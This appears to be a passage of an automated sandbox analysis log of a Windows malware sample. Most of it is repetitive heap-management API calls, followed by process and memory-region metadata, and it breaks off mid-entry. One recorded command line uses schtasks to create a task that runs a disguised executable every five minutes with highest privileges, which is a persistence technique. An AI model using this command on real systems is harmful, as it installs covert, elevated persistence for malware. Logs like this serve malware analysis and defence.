() returned 0x250000 [0130.755] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d590) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d590) returned 0x18 [0130.755] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d590 | out: hHeap=0x250000) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265dd0) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265dd0) returned 0x20 [0130.755] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265dd0 | out: hHeap=0x250000) returned 1 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] GetProcessHeap () returned 0x250000 [0130.755] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc80) returned 1 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bc80) returned 0x208 [0130.756] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc80 | out: hHeap=0x250000) returned 1 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bae0) returned 1 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bae0) returned 0x18 [0130.756] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bae0 | out: hHeap=0x250000) returned 1 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ce0) returned 1 [0130.756] GetProcessHeap () returned 0x250000 [0130.756] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ce0) returned 0x20 [0130.757] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ce0 | out: hHeap=0x250000) returned 1 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d310) returned 1 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d310) returned 0x200 [0130.757] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d310 | out: hHeap=0x250000) returned 1 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb20) returned 1 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bb20) returned 0x18 [0130.757] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bb20 | out: hHeap=0x250000) returned 1 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] GetProcessHeap () returned 0x250000 [0130.757] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c50) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c50) returned 0x20 [0130.758] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c50 | out: hHeap=0x250000) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c290) returned 0x14 [0130.758] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290 | out: hHeap=0x250000) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c270) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c270) returned 0x18 [0130.758] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c270 | out: hHeap=0x250000) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b90) returned 1 [0130.758] GetProcessHeap () returned 0x250000 [0130.758] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b90) returned 0x20 [0130.759] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b90 | out: hHeap=0x250000) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c2b0) returned 0x16 [0130.759] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c2b0 | out: hHeap=0x250000) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c230) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c230) returned 0x18 [0130.759] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c230 | out: hHeap=0x250000) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b60) returned 1 [0130.759] GetProcessHeap () returned 0x250000 [0130.759] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b60) returned 0x20 [0130.760] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b60 | out: hHeap=0x250000) returned 1 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba60) returned 1 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba60) returned 0x2 [0130.760] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba60 | out: hHeap=0x250000) returned 1 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659b0) returned 1 [0130.760] GetProcessHeap () returned 0x250000 [0130.760] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659b0) returned 0x20 [0130.760] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659b0 | out: hHeap=0x250000) returned 1 [0130.760] GetProcessHeap () returned 0x250000 [0130.761] GetProcessHeap () returned 0x250000 [0130.761] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659e0) returned 1 [0130.761] GetProcessHeap () returned 0x250000 [0130.761] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659e0) returned 0x20 [0130.761] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659e0 | out: hHeap=0x250000) returned 1 [0130.761] GetProcessHeap () returned 0x250000 [0130.761] GetProcessHeap () returned 0x250000 [0130.761] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a10) returned 1 [0130.761] GetProcessHeap () returned 0x250000 [0130.761] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a10) returned 0x20 [0130.762] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a10 | out: hHeap=0x250000) returned 1 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a40) returned 1 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a40) returned 0x20 [0130.762] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a40 | out: hHeap=0x250000) returned 1 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbd0) returned 1 [0130.762] GetProcessHeap () returned 0x250000 [0130.762] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbd0) returned 0x20 [0130.763] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbd0 | out: hHeap=0x250000) returned 1 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6f0) returned 1 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6f0) returned 0xc [0130.763] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6f0 | out: hHeap=0x250000) returned 1 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc00) returned 1 [0130.763] GetProcessHeap () returned 0x250000 [0130.763] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc00) returned 0x20 [0130.763] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc00 | out: hHeap=0x250000) returned 1 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267ad0) returned 1 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267ad0) returned 0x30 [0130.764] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267ad0 | out: hHeap=0x250000) returned 1 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc30) returned 1 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc30) returned 0x20 [0130.764] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc30 | out: hHeap=0x250000) returned 1 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] GetProcessHeap () returned 0x250000 [0130.764] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267b10) returned 1 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267b10) returned 0x30 [0130.765] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267b10 | out: hHeap=0x250000) returned 1 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdb0) returned 1 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cdb0) returned 0x20 [0130.765] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cdb0 | out: hHeap=0x250000) returned 1 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] GetProcessHeap () returned 0x250000 [0130.765] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d610) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d610) returned 0x16 [0130.766] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d610 | out: hHeap=0x250000) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd80) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd80) returned 0x20 [0130.766] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd80 | out: hHeap=0x250000) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d630) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d630) returned 0x16 [0130.766] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d630 | out: hHeap=0x250000) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd50) returned 1 [0130.766] GetProcessHeap () returned 0x250000 [0130.766] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd50) returned 0x20 [0130.767] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd50 | out: hHeap=0x250000) returned 1 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x289d20) returned 1 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x289d20) returned 0x82 [0130.767] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x289d20 | out: hHeap=0x250000) returned 1 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd20) returned 1 [0130.767] GetProcessHeap () returned 0x250000 [0130.767] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd20) returned 0x20 [0130.768] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd20 | out: hHeap=0x250000) returned 1 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d670) returned 1 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d670) returned 0xe [0130.768] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d670 | out: hHeap=0x250000) returned 1 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccf0) returned 1 [0130.768] GetProcessHeap () returned 0x250000 [0130.768] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccf0) returned 0x20 [0130.769] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccf0 | out: hHeap=0x250000) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d690) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d690) returned 0xc [0130.769] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d690 | out: hHeap=0x250000) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccc0) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ccc0) returned 0x20 [0130.769] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ccc0 | out: hHeap=0x250000) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6b0) returned 1 [0130.769] GetProcessHeap () returned 0x250000 [0130.769] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6b0) returned 0xe [0130.770] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6b0 | out: hHeap=0x250000) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc90) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc90) returned 0x20 [0130.770] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc90 | out: hHeap=0x250000) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6d0) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d6d0) returned 0x10 [0130.770] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d6d0 | out: hHeap=0x250000) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc60) returned 1 [0130.770] GetProcessHeap () returned 0x250000 [0130.770] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cc60) returned 0x20 [0130.771] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cc60 | out: hHeap=0x250000) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba80) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba80) returned 0x18 [0130.771] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba80 | out: hHeap=0x250000) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265a70) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265a70) returned 0x20 [0130.771] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265a70 | out: hHeap=0x250000) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] GetProcessHeap () returned 0x250000 [0130.771] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265aa0) returned 1 [0130.771] GetProcessHeap () returned 0x250000 [0130.772] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265aa0) returned 0x20 [0130.772] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265aa0 | out: hHeap=0x250000) returned 1 [0130.772] GetProcessHeap () returned 0x250000 [0130.772] GetProcessHeap () returned 0x250000 [0130.772] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265ad0) returned 1 [0130.772] GetProcessHeap () returned 0x250000 [0130.772] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265ad0) returned 0x20 [0130.772] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265ad0 | out: hHeap=0x250000) returned 1 [0130.772] GetProcessHeap () returned 0x250000 [0130.772] GetProcessHeap () returned 0x250000 [0130.772] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b00) returned 1 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b00) returned 0x20 [0130.773] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b00 | out: hHeap=0x250000) returned 1 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26baa0) returned 1 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26baa0) returned 0x18 [0130.773] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26baa0 | out: hHeap=0x250000) returned 1 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b30) returned 1 [0130.773] GetProcessHeap () returned 0x250000 [0130.773] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b30) returned 0x20 [0130.774] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b30 | out: hHeap=0x250000) returned 1 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265bc0) returned 1 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265bc0) returned 0x20 [0130.774] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265bc0 | out: hHeap=0x250000) returned 1 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c20) returned 1 [0130.774] GetProcessHeap () returned 0x250000 [0130.774] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c20) returned 0x20 [0130.775] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c20 | out: hHeap=0x250000) returned 1 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c80) returned 1 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c80) returned 0x20 [0130.775] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c80 | out: hHeap=0x250000) returned 1 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265cb0) returned 1 [0130.775] GetProcessHeap () returned 0x250000 [0130.775] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265cb0) returned 0x20 [0130.776] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265cb0 | out: hHeap=0x250000) returned 1 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bac0) returned 1 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bac0) returned 0x18 [0130.776] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bac0 | out: hHeap=0x250000) returned 1 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265bf0) returned 1 [0130.776] GetProcessHeap () returned 0x250000 [0130.776] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265bf0) returned 0x20 [0130.776] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265bf0 | out: hHeap=0x250000) returned 1 [0130.776] GetProcessHeap () returned 0x250000 [0130.777] GetProcessHeap () returned 0x250000 [0130.777] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba40) returned 1 [0130.777] GetProcessHeap () returned 0x250000 [0130.777] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba40) returned 0x18 [0130.777] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba40 | out: hHeap=0x250000) returned 1 [0130.777] exit (_Code=0) Thread: id = 110 os_tid = 0xedc Process: id = "13" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x44b7b000" os_pid = "0xee0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"spcwins\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\spcwin.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1855 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1856 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1857 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1858 start_va = 0x1e0000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1859 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1860 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1861 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1862 start_va = 0xff120000 end_va = 0xff167fff monitored = 1 entry_point = 0xff14966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 1863 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1864 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1865 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1866 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1867 start_va = 0x260000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 1868 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1869 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1870 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 